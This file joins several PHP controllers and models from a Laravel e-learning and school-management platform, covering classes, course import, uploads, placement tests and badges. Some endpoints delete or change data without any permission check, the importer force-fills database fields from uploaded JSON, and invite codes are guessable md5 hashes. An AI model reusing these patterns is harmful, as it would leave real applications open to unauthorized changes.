Escola::find(1); } elseif ($escola == null) { $escola = Escola::find(1); } $escola->caracteristicas = json_decode($escola->caracteristicas); if (\Request::is('gestao/turmas')) { if (strtoupper(Auth::user()->permissao) == "Z") { $turmas = Turma::with('user')->get(); } elseif (strtoupper(Auth::user()->permissao) == "G") { $turmas = Turma::with('professor')->whereHas('professor', function ($q) { $q->where('escola_id', '=', Auth::user()->escola_id); })->get(); } elseif (strtoupper(Auth::user()->permissao) == "P") { $turmas = Turma::with('professor')->where('user_id', '=', Auth::user()->id)->get(); } } else { $turmas = collect(); foreach (AlunoTurma::where('user_id', '=', Auth::user()->id)->get() as $turma) { if (Turma::find($turma->turma_id) != null) { $turmas->push(Turma::with('user')->find($turma->turma_id)); } } } foreach ($turmas as $turma) { $turma->qt_alunos = AlunoTurma::where('turma_id', '=', $turma->id)->count(); } return view('gestao.turmas')->with(compact('escola', 'turmas')); } public function gradeAulas($idTurma) { $events = []; $data = GradeAula::where('turma_id', $idTurma)->get(); if ($data->count()) { foreach ($data as $key => $value) { $opts = [ 'color' => "$value->cor", 'textColor' => '#FFFFFF', 'description' => $value->descricao, 'dow' => [$value->dia], 'ranges' => [$value->dia => ['start' => "$value->data_inicial", 'end' => '2020-01-01']] ]; if ($value->recorrente == 0) { unset($opts['dow']); unset($opts['ranges']); } $events[] = Calendar::event( $value->titulo, false, $value->data_inicial, $value->data_final, null, $opts ); } } $calendar = Calendar::addEvents($events)->setOptions([ 'columnFormat' => 'ddd D', 'allDaySlot' => false, 'defaultView' => 'agendaWeek', 'slotLabelFormat' => 'HH:mm', 'minTime' => '06:00:00', 'maxTime' => '24:00:00', 'slotDuration' => '01:00:00', 'locale' => 'pt-br', 'contentHeight' => 'auto', 'firstDay' => 1, // inicia na segunda ]); if (Turma::find($idTurma) == null) { Redirect::back()->withErrors(['Turma não encontrada!']); } else { $turma = Turma::with('professor', 'postagens_comentarios', 'escola')->find($idTurma); if (strpos(Auth::user()->permissao, "G") === false && strpos(Auth::user()->permissao, "Z") === false && $turma->user_id != Auth::user()->id && (AlunoTurma::where([['turma_id', '=', $idTurma], ['user_id', '=', Auth::user()->id]])->first() == null)) { Session::flash('error', 'Você não faz parte desta turma!'); return redirect()->route('catalogo'); } return view('gestao.turma-mural-grade')->with(compact('turma', 'calendar')); } } public function postNovaTurma(Request $request) { if (isset($request->descricao)) { if ($request->descricao == null) $request->descricao = ""; } else { $request->descricao = ""; } Turma::create([ 'user_id' => Auth::user()->id, 'titulo' => $request->titulo, 'descricao' => $request->descricao ]); return Redirect::back()->with('message', 'Turma criada com sucesso!'); } public function postExcluirTurma(Request $request) { if (Turma::find($request->idTurma) == null) { Redirect::back()->withErrors(['Turma não encontrada!']); } else { Turma::find($request->idTurma)->delete(); AlunoTurma::where('turma_id', '=', $request->idTurma)->delete(); PostagemTurma::where('turma_id', '=', $request->idTurma)->delete(); return Redirect::back()->with('message', 'Turma excluída com sucesso!'); } } public function postSairTurma(Request $request) { if (Turma::find($request->idTurma) == null) { Redirect::back()->withErrors(['Turma não encontrada!']); } else { AlunoTurma::where([['turma_id', '=', $request->idTurma], ['user_id', '=', Auth::user()->id]])->delete(); // return redirect()->route('catalogo'); return Redirect::back()->with('message', 'Turma deixada com sucesso!'); } } public function postConvidarAlunos($idTurma, Request $request) { $count = 0; // dd($request); for ($i = 0; $i < 10; $i++) { if ($request->get('email_aluno' . ($i + 1)) == null) { continue; } if ($request->has('email_aluno' . ($i + 1)) == false) { break; } $email_aluno = $request->get('email_aluno' . ($i + 1)); if (User::where('email', '=', $email_aluno)->first() != null) { if (AlunoTurma::where([['turma_id', '=', $idTurma], ['user_id', '=', User::where('email', '=', $email_aluno)->first()->id]])->first() == null) { AlunoTurma::create([ 'turma_id' => $idTurma, 'user_id' => User::where('email', '=', $email_aluno)->first()->id ]); $count++; } } } return Redirect::back()->with('message', $count . ' aluno' . ($count != 1 ? 's' : '') . ' convidado' . ($count != 1 ? 's' : '') . ' com sucesso!'); } public function removerAluno($idTurma, $idAluno) { if (Turma::find($idTurma) == null) { return response()->json(['error' => 'Turma não encontrada!']); } else { if (AlunoTurma::where([['turma_id', '=', $idTurma], ['user_id', '=', $idAluno]])->first() != null) { AlunoTurma::where([['turma_id', '=', $idTurma], ['user_id', '=', $idAluno]])->delete(); return response()->json(['success' => 'Aluno removido com sucesso!']); } else { return response()->json(['error' => 'Aluno não encontrado!']); } } } public function muralTurma($idTurma) { if (Input::get('qt') == null) { $amount = 10; } else { $amount = Input::get('qt'); } if (Turma::find($idTurma) == null) { Redirect::back()->withErrors(['Turma não encontrada!']); } else { $turma = Turma::with('professor', 'postagens_comentarios', 'escola')->find($idTurma); if (strpos(Auth::user()->permissao, "G") === false && strpos(Auth::user()->permissao, "Z") === false && $turma->user_id != Auth::user()->id && (AlunoTurma::where([['turma_id', '=', $idTurma], ['user_id', '=', Auth::user()->id]])->first() == null)) { Session::flash('error', 'Você não faz parte desta turma!'); return redirect()->route('catalogo'); } if (strpos(Auth::user()->permissao, "Z") !== false || $turma->user_id == Auth::user()->id) { if (md5($turma->id . $turma->created_at) != $turma->codigo_convite) { $newCodigo = md5($turma->id . $turma->created_at); $turma->update([ 'codigo_convite' => $newCodigo, ]); } } $alunos = AlunoTurma::with('user')->whereHas('user')->where('turma_id', '=', $idTurma)->paginate($amount); $aplicacoes = Aplicacao::all(); $conteudos = Conteudo::all(); $transmissoes = CodigoTransmissao::with('aplicacao', 'conteudo')->where([['user_id', '=', $turma->user_id]])->get(); // dd($turma); return view('gestao.turma-mural')->with(compact('aplicacoes', 'conteudos', 'transmissoes', 'turma', 'alunos', 'amount')); } } public function postarMuralTurma($idTurma, Request $request) { if (Turma::find($idTurma) == null) { Redirect::back()->withErrors(['Turma não encontrada!']); } else { $postagem = PostagemTurma::create([ 'turma_id' => $idTurma, 'user_id' => Auth::user()->id, 'conteudo' => $request->conteudo ]); if ($request->arquivo != null) { $originalName = mb_strtolower($request->arquivo->getClientOriginalName(), 'utf-8'); $fileExtension = \File::extension($request->arquivo->getClientOriginalName()); $newFileNameArquivo = md5($request->arquivo->getClientOriginalName() . date("Y-m-d H:i:s") . time()) . '.' . $fileExtension; $pathArquivo = $request->arquivo->storeAs('uploads/turmas/' . $idTurma . '/arquivos', $newFileNameArquivo, 'local'); if (!\Storage::disk('local')->put($pathArquivo, file_get_contents($request->arquivo))) { \Session::flash('error', 'Não foi possível fazer upload de seu anexo!'); } else { $postagem->update([ 'arquivo' => $newFileNameArquivo ]); } } return Redirect::back()->with('message', 'Postagem enviada com sucesso!'); } } public function postExcluirPostagem($idTurma, $idPostagem) { if (PostagemTurma::find($idPostagem) != null) { if (\Storage::disk('local')->has('uploads/turmas/' . $idTurma . '/arquivos/' . PostagemTurma::find($idPostagem)->arquivo)) { \Storage::disk('local')->delete('uploads/turmas/' . $idTurma . '/arquivos/' . PostagemTurma::find($idPostagem)->arquivo); } PostagemTurma::find($idPostagem)->delete(); return Redirect::back()->with('message', 'Postagem excluída com sucesso!'); } else { return Redirect::back()->withErrors(['Postagem não encontrada!']); } } public function postEnviarComentarioPostagem($idTurma, $idPostagem, Request $request) { if (Turma::find($idTurma) == null) { Redirect::back()->withErrors(['Turma não encontrada!']); } else if (PostagemTurma::find($idPostagem) == null) { Redirect::back()->withErrors(['Postagem não encontrada!']); } else { $comentario = ComentarioPostagemTurma::create([ 'postagem_id' => $idPostagem, 'user_id' => Auth::user()->id, 'conteudo' => $request->conteudo ]); return Redirect::back()->with('message', 'Comentário enviado com sucesso!'); } } public function postExcluirComentarioPostagem($idTurma, $idPostagem, $idComentario) { if (ComentarioPostagemTurma::find($idPostagem) == null) { return Redirect::back()->withErrors(['Comentário não encontrado!']); } else { ComentarioPostagemTurma::find($idPostagem)->delete(); return Redirect::back()->with('message', 'Comentário excluído com sucesso!'); } } public function getArquivo($idTurma, $idPostagem) { if (Turma::find($idTurma) == null) { Session::flash('error', 'Turma não encontrada!'); return redirect()->route('catalogo'); } else { if (PostagemTurma::find($idPostagem) == null) { Session::flash('error', 'Postagem não encontrada!'); return redirect()->route('catalogo'); } else { $postagem = PostagemTurma::find($idPostagem); if (\Storage::disk('local')->has('uploads/turmas/' . $idTurma . '/arquivos/' . $postagem->arquivo)) { return \Storage::disk('local')->download('uploads/turmas/' . $idTurma . '/arquivos/' . $postagem->arquivo); } else { Session::flash('error', 'Arquivo não encontrado!'); return redirect()->route('catalogo'); } } } } public function modoPostagem($idTurma, Request $request) { if (Turma::find($idTurma) == null) { return response()->json(['error' => 'Turma não encontrada!']); } else { if ($request->postagem_aberta === "true" || $request->postagem_aberta === true) { Turma::find($idTurma)->update([ 'postagem_aberta' => 1 ]); } else { Turma::find($idTurma)->update([ 'postagem_aberta' => 0 ]); } return response()->json(['success' => 'Modo de postagem da turma modificado com sucesso!']); } } public function gerarConvite($idTurma, Request $request) { if (Turma::find($idTurma) == null) { return response()->json(['error' => 'Turma não encontrada!']); } else { $turma = Turma::find($idTurma); $newCodigo = md5(mb_strtolower($turma->titulo, 'utf-8') . $turma->created_at); $turma->update([ 'codigo_convite' => $newCodigo ]); $link = env("APP_URL") . '/gestao/turma/' . $turma->id . '/mural/convite/' . $newCodigo; return response()->json(['success' => 'Convite gerado com sucesso!', 'link' => $link]); } } public function getConvite($idTurma, $idConvite) { if (Turma::find($idTurma) == null) { Session::flash('error', 'Turma não encontrada!'); return Redirect::route('catalogo'); } else { $turma = Turma::find($idTurma); if (md5($turma->id . $turma->created_at) == $idConvite) { if (AlunoTurma::where([['turma_id', '=', $turma->id], ['user_id', '=', Auth::user()->id]])->first() == null) { AlunoTurma::create([ 'turma_id' => $idTurma, 'user_id' => Auth::user()->id ]); } Session::flash('message', 'Convite de turma aceito com sucesso!'); return Redirect::route('turma-mural', ['idTurma' => $idTurma]); } else { Session::flash('error', 'Convite inválido!'); return Redirect::route('catalogo'); } } } } <file_sep>/app/Http/Controllers/Importacao/CursoController.php <?php namespace App\Http\Controllers\Importacao; use App\Curso; use App\Aula; use App\ConteudoAula; use App\Conteudo; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Redirect; class CursoController extends ImportacaoController { public function curso(Request $request) { if($request->hasFile('fileImportCurso')) { if($request->file('fileImportCurso')->getClientOriginalExtension() != 'tz') { return Redirect::back()->withErrors(['Arquivo de importação inválido!']); } $userId = Auth::user()->id; $escolaId = Auth::user()->escola_id; $fileContent = file_get_contents($request->file('fileImportCurso')->getPathName()); $decodeAsArray = json_decode($fileContent, true); $myArr = $decodeAsArray; /* IMPORTA CURSO */ $arrCurso = (isset($myArr['curso'])) ? $myArr['curso'] : false; if(!$arrCurso) { return Redirect::back()->withErrors(['Arquivo de importação não é do tipo curso!']); } unset($arrCurso['aulas']); $curso = new Curso(); $curso->escola_id = $escolaId; $curso->user_id = $userId; $curso->forceFill($arrCurso); $curso->save(); $insertedCursoId = $curso->id; /* */ /* IMPORTA AULAS DE CURSO */ $arrAulas = $myArr['curso']['aulas']; foreach($arrAulas as $index => $arrAula) { $tempAula = $arrAula; unset($tempAula['conteudos']); //ADICIONA AULA $aula = new Aula(); $aula->curso_id = $insertedCursoId; $aula->user_id = $userId; $aula->forceFill($tempAula); $aula->save(); $insertedAulaId = $aula->id; //ADICIONA CONTEUDOS DE AULA $arrConteudosAula = $myArr['curso']['aulas'][$index]['conteudos']; foreach($arrConteudosAula as $conteudoAula) { //Adiciona Conteúdo $conteudo = new Conteudo(); $conteudo->user_id = $userId; $conteudo->forceFill($conteudoAula); $conteudo->save(); $insertedConteudoId = $conteudo->id; //Adiciona Relacionamento do Conteúdo com o Curso/Aula $conteudoAula = new ConteudoAula(); $conteudoAula->ordem = 999; $conteudoAula->conteudo_id = $insertedConteudoId; $conteudoAula->curso_id = $insertedCursoId; $conteudoAula->aula_id = $insertedAulaId; $conteudoAula->user_id = $userId; $conteudoAula->obrigatorio = 1; $conteudoAula->save(); $insertedConteudoAulaId = $conteudo->id; } /* */ } return Redirect::back()->with('message', 'Curso importado com sucesso!'); } else { return Redirect::back()->withErrors(['Arquivo de importação não existe!']); } } }<file_sep>/app/Generals/Upload/Upload.php <?php namespace App\Generals\Upload; use Illuminate\Support\Facades\Storage; use Intervention\Image\Facades\Image; class Upload { public function makeSimpleResize($image, $size, $path, $imageName) { return $this->simpleResize($image, $size, $path, $imageName); } public function makeResize($image, $size, $path) { return $this->resize($image, $size, $path); } public function makeResizeWithThumb($image, $size, $sizeThumb, $path, $pathThumb) { $fileName = md5(uniqid()) . '.' . $image->getClientOriginalExtension(); return $this->resizeWithThumb($image, $size, $sizeThumb, $path, $pathThumb, $fileName); } private function simpleResize($image, $size, $path, $imageName) { try { $imageRealPath = $image->getRealPath(); $thumbName = $imageName; $img = Image::make($imageRealPath); $img->resize(intval($size), null, function ($constraint) { $constraint->aspectRatio(); }); if (!Storage::disk('public_uploads')->exists($path)) { Storage::disk('public_uploads')->makeDirectory($path); } $img->save(public_path('uploads/' . $path) . '/' . $thumbName); return $thumbName; } catch (Exception $e) { //return $e->getMessage(); return false; } } private function resize($image, $size, $path) { try { $imageRealPath = $image->getRealPath(); $thumbName = md5(uniqid()) . '.' . $image->getClientOriginalExtension(); $img = Image::make($imageRealPath); $img->resize(intval($size), null, function ($constraint) { $constraint->aspectRatio(); }); if (!Storage::disk('public_uploads')->exists($path)) { Storage::disk('public_uploads')->makeDirectory($path); } $img->save(public_path('uploads/' . $path) . '/' . $thumbName); return $thumbName; } catch (Exception $e) { //return $e->getMessage(); return false; } } private function resizeWithThumb($image, $size, $sizeThumb, $path, $pathThumb, $fileName) { try { $imageRealPath = $image->getRealPath(); $thumbName = $fileName; $img = Image::make($imageRealPath); $img->resize(intval($size), null, function ($constraint) { $constraint->aspectRatio(); }); $img->save(public_path($path) . '/' . $thumbName); //resize thumb $imgThumb = Image::make($imageRealPath); $imgThumb->resize(intval($sizeThumb), null, function ($constraint) { $constraint->aspectRatio(); }); $imgThumb->save(public_path($pathThumb) . '/' . $thumbName); return $thumbName; } catch (Exception $e) { return $e->getMessage(); } } } <file_sep>/app/Entities/Recente/Recente.php <?php namespace App\Entities\Recente; use App\Entities\Album\Album; use Illuminate\Database\Eloquent\Model; class Recente extends Model { protected $table = "recentes"; //Preenchiveis protected $fillable = [ 'user_id', 'album_id', 'created_at', 'updated_at' ]; public function albums() { return $this->belongsTo(Album::class, 'album_id'); } } <file_sep>/app/Http/Controllers/TesteNivelamento/Aluno/TesteNivelamentoController.php <?php namespace App\Http\Controllers\TesteNivelamento\Aluno; use App\Entities\Questoes\Questoes; use App\Entities\TesteNivelamento\TesteNivelamento; use App\Entities\TesteNivelamento\TesteNivelamentoQuestao; use App\Entities\TesteNivelamento\TesteNivelamentoRespostaQuestao; use App\Entities\TesteNivelamento\TesteNivelamentoResultado; use Carbon\Carbon; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Session; class TesteNivelamentoController extends Controller { private $teste; private $testeQuestao; private $testeResultado; private $testeRespostaQuestao; private $questao; public function __construct( TesteNivelamento $teste, TesteNivelamentoQuestao $testeQuestao, TesteNivelamentoResultado $testeResultado, TesteNivelamentoRespostaQuestao $testeRespostaQuestao, Questoes $questao) { $this->teste = $teste; $this->testeQuestao = $testeQuestao; $this->testeResultado = $testeResultado; $this->testeRespostaQuestao = $testeRespostaQuestao; $this->questao = $questao; } public function index() { $testes = $this->teste->orderBy('id', 'DESC')->get(); $finalizados = $this->testeResultado ->where('user_id', Auth::user()->id) ->where('status', 0) ->orWhere('status', 2) ->get(); $abertos = $this->testeResultado ->where('user_id', Auth::user()->id) ->where('status', 1) ->get(); return view('pages.teste.aluno.index', compact('testes', 'finalizados', 'abertos')); } public function show($idTeste) { // verifica se o status do teste esta em aberto $check = $this->testeResultado ->where('user_id', '=', Auth::user()->id) ->where('teste_id', '=', $idTeste) ->where('status', '=', 1) ->first(); if ($check) { $teste = $this->teste->find($idTeste); $getQuestoesRespondidas = $this->testeRespostaQuestao ->where('teste_nivelamento_resultado_id', '=', $check->id) ->select('questao_id') ->get() ->toArray(); $questoesRespondidas = array_pluck($getQuestoesRespondidas, 'questao_id'); if ($teste->questoes->whereNotIn('questao_id', $questoesRespondidas)->count() <= 0) { return redirect()->route('teste.finalizado', $check->id); } Session::flash('msgTeste', 'Teste em aberto, finalize o teste para concluir.'); return redirect()->route('teste.questao.exibe', [ 'idTeste' => $teste->id, 'idQuestao' => $teste->questoes->whereNotIn('questao_id', $questoesRespondidas)->first()->questao_id, 'resultadoId' => $check->id ]); } /* * grava um novo teste na tabela teste_nivelamento_resultados * Status * 0 = finalizado, todas multipla escolha * 1 = aberto, teste em andamento * 2 = aguardando correção, questão dissertativa encontrada */ $resultado = $this->testeResultado->create([ 'user_id' => Auth::user()->id, 'teste_id' => $idTeste, 'status' => 1 ]); $teste = $this->teste->find($idTeste); return redirect()->route('teste.questao.exibe', ['idTeste' => $teste->id, 'idQuestao' => $teste->questoes[0]->questao_id, 'resultadoId' => $resultado->id]); } public function getQuestao($idTeste, $idQuestao, $resultadoId) { $getQuestoesRespondidas = $this->testeRespostaQuestao ->where('teste_nivelamento_resultado_id', '=', $resultadoId) ->select('questao_id') ->get() ->toArray(); $questoesRespondidas = array_pluck($getQuestoesRespondidas, 'questao_id'); $teste = $this->teste->find($idTeste); $testeQuestao = $this->questao->find($idQuestao); $pesoQuestao = $this->testeQuestao ->where('teste_id', $idTeste) ->where('questao_id', $idQuestao) ->select('peso') ->first(); $testeResultado = $this->testeResultado->find($resultadoId); $expired = $testeResultado->status; //$now = Carbon::now(); $final_date = $testeResultado->created_at->addMinutes($teste->tempo); //$remainingMinutes = $now->diffInMinutes($final_date); //$tempoRestante = date('H:i', mktime(0, $remainingMinutes)); if ($expired == 0 || $expired == 2) { Session::flash('msgExpirado', 'O tempo para responder o teste já foi expirado.'); } return view('pages.teste.aluno.show', compact('teste', 'testeQuestao', 'pesoQuestao', 'resultadoId', 'expired', 'questoesRespondidas', 'final_date')); } public function cadastroQuestoes(Request $request) { // Verifica se a questão enviada é multipla escolha if ($request->get('alternativa')) { $respostaAluno = $request->get('alternativa'); $respostaCorreta = $this->questao->find($request->get('questao_id'))->resposta_correta; $this->testeRespostaQuestao->create([ 'teste_nivelamento_resultado_id' => $request->get('teste_nivelamento_resultado_id'), 'questao_id' => $request->get('questao_id'), 'user_id' => Auth::user()->id, 'resposta' => $respostaAluno, 'correta' => $respostaCorreta ]); // verifica se a resposta esta correta e atualiza a soma da pontuação if ($respostaAluno == $respostaCorreta) { $resultado = $this->testeResultado->find($request->get('teste_nivelamento_resultado_id')); $pontuacaoAtual = $resultado->pontuacao; $peso = $this->testeQuestao ->where('teste_id', $request->get('teste_id')) ->where('questao_id', $request->get('questao_id')) ->first()->peso; $pontuacaoFinal = $pontuacaoAtual + $peso; $resultado->update(['pontuacao' => $pontuacaoFinal]); } } // Verifica se a questão enviada é dissertativa if ($request->get('resposta')) { $this->testeRespostaQuestao->create([ 'teste_nivelamento_resultado_id' => $request->get('teste_nivelamento_resultado_id'), 'questao_id' => $request->get('questao_id'), 'user_id' => Auth::user()->id, 'resposta' => $request->get('resposta'), ]); } Session::flash('msgAddQuestao', 'Cadastro realizado com successo!'); // verifica se existe mais alguma questão relacionado ao teste para ser respondida $getQuestoesRespondidas = $this->testeRespostaQuestao ->where('teste_nivelamento_resultado_id', '=', $request->get('teste_nivelamento_resultado_id')) ->where('user_id', Auth::user()->id) ->select('questao_id') ->get() ->toArray(); $questoesRespondidas = array_pluck($getQuestoesRespondidas, 'questao_id'); $teste = $this->teste->find($request->get('teste_id')); // verifica se alguma das questões é dissertativa // se existir alguma dissertativa, grava o status como 2 = aguardando correção $checkType = $this->questao->whereIn('id', $questoesRespondidas)->where('tipo', 1)->get(); if ($checkType->count() >= 1) { $status = 2; } else { $status = 0; } // Se não existir, redireciona para finalizar o teste if ($teste->questoes->whereNotIn('questao_id', $questoesRespondidas)->count() <= 0) { $this->testeResultado->find($request->get('teste_nivelamento_resultado_id'))->update(['status' => $status, 'finalizado' => Carbon::now()]); return redirect()->route('teste.finalizado', $request->get('teste_nivelamento_resultado_id')); } // Se existir mais alguma questão, redireciona para a próxima return redirect()->route('teste.questao.exibe', [ 'idTeste' => $request->get('teste_id'), 'idQuestao' => $teste->questoes->whereNotIn('questao_id', $questoesRespondidas)->first()->questao_id, 'resultadoId' => $request->get('teste_nivelamento_resultado_id') ]); } public function expiraUpdateAjax($id) { $getQuestoesRespondidas = $this->testeRespostaQuestao ->where('teste_nivelamento_resultado_id', '=', $id) ->where('user_id', Auth::user()->id) ->select('questao_id') ->get() ->toArray(); $questoesRespondidas = array_pluck($getQuestoesRespondidas, 'questao_id'); // verifica se alguma das questões é dissertativa // se existir alguma dissertativa, grava o status como 2 = aguardando correção $checkType = $this->questao->whereIn('id', $questoesRespondidas)->where('tipo', 1)->get(); if ($checkType->count() >= 1) { $status = 2; } else { $status = 0; } $this->testeResultado->find($id)->update(['status' => $status, 'finalizado' => Carbon::now()]); return 'ok'; } public function finalizado($id) { $resultado = $this->testeResultado->find($id); $questoes = $this->testeRespostaQuestao ->where('teste_nivelamento_resultado_id', $id) ->with('testeQuestao') ->whereHas('testeQuestao') ->get(); if ($resultado->status == 2) { Session::flash('msgDissertativa', 'Aguardando correção'); } return view('pages.teste.aluno.show_final', compact('resultado', 'questoes')); } } <file_sep>/app/Http/Controllers/PainelController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Illuminate\Support\Facades\Storage; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\Badge; use App\BadgeUsuario; use App\Categoria; use App\Conteudo; use App\AvaliacaoInstrutor; use App\Metrica; use App\Curso; use App\CursoCompleto; use App\ConteudoCompleto; use App\Aula; use App\ConteudoAula; class PainelController extends Controller { public function index() { $concluidos = CursoCompleto::with('curso')->has('curso')->where([['user_id', '=', Auth::user()->id]])->get(); $ultimos = ConteudoCompleto::with('curso')->has('curso')->where([['user_id', '=', Auth::user()->id]])->orderBy('created_at', 'desc')->get(); $ultimos = $ultimos->unique(function ($item) { return $item->curso->id; }); $continuar = null; foreach ($ultimos as $key => $ultimo) { $total_conteudos = Conteudo::whereHas('conteudo_aula', function ($query) use ($ultimo) { $query->where([['curso_id', '=', $ultimo->curso->id], ['obrigatorio', '=', '1']]); })->count(); // if(Conteudo::where([['curso_id', '=', $ultimo->curso->id], ['obrigatorio', '=', '1']])->count() > 0) if($total_conteudos > 0) { $ultimo->progresso = number_format((ConteudoCompleto::where([['user_id', '=', Auth::user()->id], ['curso_id', '=', $ultimo->curso->id]])->count() * 100) / $total_conteudos, 2); } else { $ultimo->progresso = 0; } if($ultimo->progresso > 100) $ultimo->progresso = 100; if($ultimo->progresso < 100 && $continuar == null) { $continuar = $ultimo; } } if($continuar != null) { $ultimo->qtAulas = Aula::where('curso_id', '=', $ultimo->curso->id)->count(); foreach (Aula::where('curso_id', '=', $ultimo->curso->id)->orderBy('id', 'asc')->get() as $key => $aula) { if(ConteudoCompleto::where([['user_id', '=', Auth::user()->id], ['curso_id', '=', $ultimo->curso->id], ['aula_id', '=', $aula->id]])->count() >= ConteudoAula::where([['curso_id', '=', $ultimo->curso->id], ['obrigatorio', '=', '1'], ['aula_id', '=', $aula->id]])->count()) { continue; } else { $ultimo->ultimaAula = ($key + 1); foreach (ConteudoAula::where([['curso_id', '=', $ultimo->curso->id], ['aula_id', '=', $aula->id]])->orderBy('ordem', 'asc')->get() as $key2 => $conteudo) { if(ConteudoCompleto::where([['user_id', '=', Auth::user()->id], ['curso_id', '=', $ultimo->curso->id], ['aula_id', '=', $aula->id], ['conteudo_id', '=', $conteudo->id]])->first() != null) { continue; } else { $ultimo->ultimoConteudo = ($key2 + 1); $ultimo->qtConteudos = ConteudoAula::where([['curso_id', '=', $ultimo->curso->id], ['aula_id', '=', $aula->id]])->orderBy('ordem', 'asc')->count(); break; } } break; } } } if(count($ultimos) > 5) { $ultimos = $ultimos->splice(0, 5); } // dd($ultimos); return view('painel')->with(compact('continuar', 'ultimos', 'concluidos')); } public function badges() { $badges = Badge::where([['visibilidade', '=' , '1']])->get(); foreach(BadgeUsuario::with('badge')->where('user_id', '=', Auth::user()->id)->get() as $minha) { if($badges->contains(function ($value, $key) use ($minha) { return $value->id == $minha->badge->id; })) { $badges->first(function ($value, $key) use ($minha) { return $value->id == $minha->badge->id; })->desbloqueada = true; } else { $minha = $minha->badge; $minha->desbloqueada = true; $badges->push($minha); } } // dd($badges); return view('badges')->with( compact('badges') ); } public function getCertificado($idCurso) { if(Curso::find($idCurso) == null) { return response()->view('errors.404'); } // if(ConteudoCompleto::where([['user_id', '=', Auth::user()->id], ['curso_id', '=', $idCurso]])->count() < Conteudo::where([['curso_id', '=', $idCurso], ['obrigatorio', '=', 1]])->count()) if(CursoCompleto::where([['user_id', '=', Auth::user()->id], ['curso_id', '=', $idCurso]])->first() == null) { return response()->view('errors.404'); } $curso = Curso::find($idCurso); $user = Auth::user(); $dataConclusao = CursoCompleto::where([['user_id', '=', Auth::user()->id], ['curso_id', '=', $idCurso]])->first()->created_at->format('d/m/Y'); return view('painel-certificado')->with(compact('curso', 'user', 'dataConclusao')); } } <file_sep>/app/Entities/TesteNivelamento/Repository.php <?php namespace App\Entities\TesteNivelamento; class Repository { private $teste; private $testeQuestao; private $testeDirecionamento; public function __construct(TesteNivelamento $teste, TesteNivelamentoQuestao $testeQuestao, TesteNivelamentoDirecionamento $testeDirecionamento) { $this->teste = $teste; $this->testeQuestao = $testeQuestao; $this->testeDirecionamento = $testeDirecionamento; } // teste public function all() { return $this->teste->orderBy('id', 'DESC')->get(); } public function find($id) { return $this->teste->find($id); } public function store($values) { return $this->teste->create($values); } public function update($id, $values) { return $this->teste->find($id)->update($values); } public function delete($id) { return $this->teste->find($id)->delete(); } // Questão public function storeTesteQuestao($values) { return $this->testeQuestao->create($values); } public function updateTesteQuestao($id, $values) { return $this->testeQuestao->find($id)->update($values); } public function deleteTesteQuestao($id) { return $this->testeQuestao->find($id)->delete(); } // Direcionamento public function storeTesteDirecionamento($values) { return $this->testeDirecionamento->create($values); } public function updateTesteDirecionamento($id, $values) { return $this->testeDirecionamento->find($id)->update($values); } public function deleteDirecionamentoQuestao($id) { return $this->testeDirecionamento->find($id)->delete(); } } <file_sep>/app/Transacao.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class Transacao extends Model { protected $table = 'transacoes'; // protected $primaryKey = 'id'; // or null // public $incrementing = false; //Preenchiveis protected $fillable = [ 'referencia_id', 'user_id', 'sub_total', 'adicional', 'desconto', 'frete', 'total', 'status', 'metodo', ]; // 0 = Criado // 1 = Pedente // 2 = Aguardando pagamento // 3 = Pagamento autorizado // 4 = Pagamento liberado // 7 = Pagamento cancelado // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ 'metodo' => '', 'sub_total' => 0, 'adicional' => 0, 'desconto' => 0, 'frete' => 0, 'total' => 0, ]; public function produtos() { return $this->hasMany('App\ProdutoTransacao', 'transacao_id', 'id'); } public function produtos_user() { return $this->hasMany('App\ProdutoTransacao', 'transacao_id', 'id')->with('user'); } public function user() { return $this->belongsTo('App\User', 'user_id'); } } <file_sep>/database/migrations/2019_08_08_111945_create_codigo_transmissao_table.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; class CreateCodigoTransmissaoTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('codigo_transmissao', function(Blueprint $table) { $table->integer('id', true); $table->integer('user_id'); $table->string('token'); $table->integer('referencia_id'); $table->integer('tipo'); $table->integer('status'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('codigo_transmissao'); } } <file_sep>/app/Entities/PlanoAula/PlanoAula.php <?php namespace App\Entities\PlanoAula; use App\Entities\GradeAula\GradeAula; use Illuminate\Database\Eloquent\Model; class PlanoAula extends Model { protected $table = "plano_aulas"; //Preenchiveis protected $fillable = [ 'user_id', 'grade_aula_id', 'assunto', 'tarefa_classe', 'tarefa_casa', 'data', 'objetivos', 'topicos_conhecimento', 'habilidades_competencias', 'etapas_atividades', 'recursos_necessarios', 'avaliacao', 'metodologia', 'tema', 'nivel_ensino', 'ano_serie', 'materia', 'quantidade_aulas' ]; public function grade() { return $this->belongsTo(GradeAula::class, 'grade_aula_id'); } public function anexosAll() { return $this->hasMany(PlanoAulaAnexo::class, 'plano_aula_id'); } public function anexosAtividades() { return $this->hasMany(PlanoAulaAnexo::class, 'plano_aula_id')->where('tipo', 1); } public function anexosMateriais() { return $this->hasMany(PlanoAulaAnexo::class, 'plano_aula_id')->where('tipo', 2); } } <file_sep>/app/Entities/Trilhas/TrilhasCurso.php <?php namespace App\Entities\Trilhas; use App\Curso; use Illuminate\Database\Eloquent\Model; class TrilhasCurso extends Model { protected $table = "trilhas_cursos"; //Preenchiveis protected $fillable = [ 'trilha_id', 'curso_id' ]; public function curso() { return $this->belongsTo(Curso::class, 'curso_id'); } public function trilha() { return $this->belongsTo(Trilhas::class, 'trilha_id'); } } <file_sep>/app/Aplicacao.php <?php namespace App; use App\Entities\Favorito\Favorito; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; use Laracasts\Presenter\PresentableTrait; class Aplicacao extends Model { protected $table = 'aplicacoes'; //Preenchiveis protected $fillable = [ 'user_id', 'titulo', 'descricao', 'status', 'liberada', 'destaque', 'data_lancamento', 'capa', 'categoria_id', 'nivel_ensino', 'ano_serie', 'tags', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ 'descricao' => '', 'status' => 0, 'liberada' => 0, 